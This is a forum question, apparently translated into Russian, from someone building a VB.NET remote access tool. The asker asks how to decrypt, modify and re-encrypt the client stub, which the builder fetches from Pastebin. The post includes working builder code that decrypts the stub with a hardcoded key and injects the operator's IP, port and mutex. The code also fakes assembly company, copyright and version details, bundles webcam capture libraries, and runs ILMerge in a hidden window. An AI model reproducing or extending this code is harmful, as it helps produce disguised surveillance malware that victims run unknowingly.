Как я могу записать расшифрованный текст в файл .txt, добавить новый код, а затем зашифровать текст, чтобы моя программа все еще могла его прочитать? - PullRequest
0 голосов
/ 02 сентября 2018

Я знаю, название этого вопроса ужасно, однако позвольте мне объяснить, чего я пытаюсь достичь.

Во-первых, что делает эта программа?

Программа представляет собой инструмент удаленного доступа, который использует заглушку для создания клиента , который в настоящее время находится на Pastebin: https://pastebin.com/raw/jFwk2aAL

В значительной степени, когда пользователь, который управляет сервером (где все клиенты добавляются, если они открывают файл), чтобы создать программу, он нажимает кнопку с надписью " Build ". Когда нажата кнопка « Build », этот код запускается в действие:

Try

            Dim dialog2 As New SaveFileDialog
            dialog2.Filter = "Executables | *.exe"
            dialog2.InitialDirectory = Application.StartupPath
            dialog2.Title = "Select a path where the stub will be saved..."
            If (dialog2.ShowDialog = DialogResult.OK) Then
                Me.TR_Compile = New Thread(New ParameterizedThreadStart(AddressOf Me.lam__10))
                Me.TR_Compile.Start(dialog2.FileName)
            End If
            dialog2 = Nothing
        End If
    Catch ex As Exception
        Me.StatusBarMain.Text = ex.Message

    End Try

Практически, именно здесь оператор сервера выбирает, где сохранить файл, будучи заглушкой (файл, который клиент откроет для отображения на сервере.)

После сохранения местоположения заглушки этот код вводится в действие:

Private Sub Compile(ByVal path As String)
    Try
        Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Initializing Build..."})
        Dim source As String = Conversions.ToString(FormMain.RijndaelDecrypt(New WebClient().DownloadString("https://pastebin.com/raw/jFwk2aAL"), "308c036ab4ae32ff202d417d1e15cb667326201f4754644509b9079a81")).Replace("127.0.0.1", Me.tb_ip.Text).Replace("4432", Conversions.ToString(Me.nud_port.Value)).Replace("CLIENTID", Me.tb_clientid.Text).Replace("Single_Mutex_App_Instance", Me.TB_Mutex.Text).Replace("ASSEMBLYTITLE", Me.tb_assemblytitle.Text).Replace("ASSEMBLYDESCRIPTION", Me.tb_assemblydescription.Text).Replace("ASSEMBLYCOMPANY", Me.tb_assemblycompany.Text).Replace("ASSEMBLYPRODUCT", Me.tb_assemblyproduct.Text).Replace("ASSEMBLYCOPYRIGHT", Me.tb_assemblycopyright.Text).Replace("ASSEMBLYTRADEMARK", Me.tb_assemblytrademark.Text).Replace("3.5.2.4", String.Format("{0}.{1}.{2}.{3}", New Object() {Me.NumericUpDown9.Value, Me.NumericUpDown2.Value, Me.NumericUpDown3.Value, Me.NumericUpDown4.Value})).Replace("0.0.0.0", String.Format("{0}.{1}.{2}.{3}", New Object() {Me.NumericUpDown8.Value, Me.NumericUpDown7.Value, Me.NumericUpDown6.Value, Me.NumericUpDown5.Value})).Replace("L$01", Conversions.ToString(Me.CheckBox1.Checked)).Replace("L$02", Conversions.ToString(Me.RadioButton1.Checked)).Replace("L$03", Conversions.ToString(Me.RadioButton2.Checked)).Replace("L$04", Conversions.ToString(Me.RadioButton3.Checked)).Replace("L$05", Me.TextBox1.Text).Replace("L$06", Conversions.ToString(Interaction.IIf((Strings.Right(Me.TextBox2.Text, 4) = ".exe"), Me.TextBox2.Text, (Me.TextBox2.Text & ".exe")))).Replace("L$07", Conversions.ToString(Me.CheckBox2.Checked)).Replace("L$08", Conversions.ToString(Interaction.IIf((Strings.Right(Me.TextBox3.Text, 1) = "\"), Me.TextBox3.Text, (Me.TextBox3.Text & "\")))).Replace("L$09", Conversions.ToString(Me.CheckBox6.Checked)).Replace("L$10", Conversions.ToString(Me.CheckBox3.Checked)).Replace("L$11", Conversions.ToString(Me.CheckBox5.Checked)).Replace("L$12", Conversions.ToString(Me.CheckBox7.Checked)).Replace("L$13", Conversions.ToString(Convert.ToInt32(Me.NumericUpDown1.Value)))
        Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Writing parameter to stub..."})
        Dim compiler As ICodeCompiler = New VBCodeProvider().CreateCompiler
        Dim options As New CompilerParameters
        options.ReferencedAssemblies.Add("System.dll")
        options.ReferencedAssemblies.Add("System.Windows.Forms.dll")
        options.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
        options.ReferencedAssemblies.Add("System.Management.dll")
        options.ReferencedAssemblies.Add("System.Drawing.dll")
        options.ReferencedAssemblies.Add("System.ServiceProcess.dll")
        options.ReferencedAssemblies.Add("AForge.dll")
        options.ReferencedAssemblies.Add("AForge.Controls.dll")
        options.ReferencedAssemblies.Add("AForge.Video.DirectShow.dll")
        options.ReferencedAssemblies.Add("AForge.Video.dll")
        options.GenerateExecutable = True
        options.OutputAssembly = path
        options.CompilerOptions = "/target:winexe /platform:x86 /optimize+ /filealign:512"
        Dim parameters2 As CompilerParameters = options
        parameters2.CompilerOptions = Conversions.ToString(Operators.AddObject(parameters2.CompilerOptions, Interaction.IIf(Operators.ConditionalCompareObjectEqual(Me.PictureBox1.Tag, "", False), "", Operators.ConcatenateObject(" /win32icon:", Me.PictureBox1.Tag))))
        Dim results As CompilerResults = compiler.CompileAssemblyFromSource(options, source)
        Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Stub builded..."})
        Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Merging Assemblies..."})
        Dim startInfo As New ProcessStartInfo("ILMerge.exe")
        startInfo.Arguments = String.Concat(New String() {"/target:winexe /out:""", path, """ """, path, """ AForge.Controls.dll AForge.dll AForge.Video.DirectShow.dll AForge.Video.dll"})
        startInfo.WindowStyle = ProcessWindowStyle.Hidden
        Process.Start(startInfo)
        Thread.Sleep(&HBB8)
        Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Finished build !"})
        File.Delete(path.Replace(".exe", ".pdb"))
    Catch exception1 As Exception
        ProjectData.SetProjectError(exception1)
        Dim exception As Exception = exception1
        Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {exception.Message})
        ProjectData.ClearProjectError()
    End Try
End Sub

В подпункте " Compile " программа загружает вставку, сделанную на pastebin, которая содержит некоторые зашифрованные символы. Затем программа использует эту функцию:

 Public Shared Function RijndaelDecrypt(ByVal UDecryptU As String, ByVal UKeyU As String) As Object
    Dim managed As New RijndaelManaged
    Dim salt As Byte() = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
    Dim bytes As New Rfc2898DeriveBytes(UKeyU, salt)
    managed.Key = bytes.GetBytes(managed.Key.Length)
    managed.IV = bytes.GetBytes(managed.IV.Length)
    Dim stream2 As New MemoryStream
    Dim stream As New CryptoStream(stream2, managed.CreateDecryptor, CryptoStreamMode.Write)
    Try
        Dim buffer As Byte() = Convert.FromBase64String(UDecryptU)
        stream.Write(buffer, 0, buffer.Length)
        stream.Close()
        UDecryptU = Encoding.UTF8.GetString(stream2.ToArray)
    Catch exception1 As Exception

    End Try
    Return UDecryptU
End Function

для расшифровки текста, который находится на пастбине. Это прекрасно работает, однако, я хочу добавить свои собственные функции в заглушку, но я не могу, потому что текст зашифрован. Итак ...

Как я могу расшифровать этот текст, отредактировать его сам, а затем снова зашифровать, загрузить в другую вставку на pastebin, но при этом моя программа может расшифровать текст и успешно записать заглушку?

ПОЖАЛУЙСТА, КОММЕНТИРУЙТЕ НИЖЕ, ЕСЛИ ЧТО-ТО ВАМ НЕ ЯСНО.

Редактировать: Изменен текст, чтобы сделать этот вопрос более понятным.

...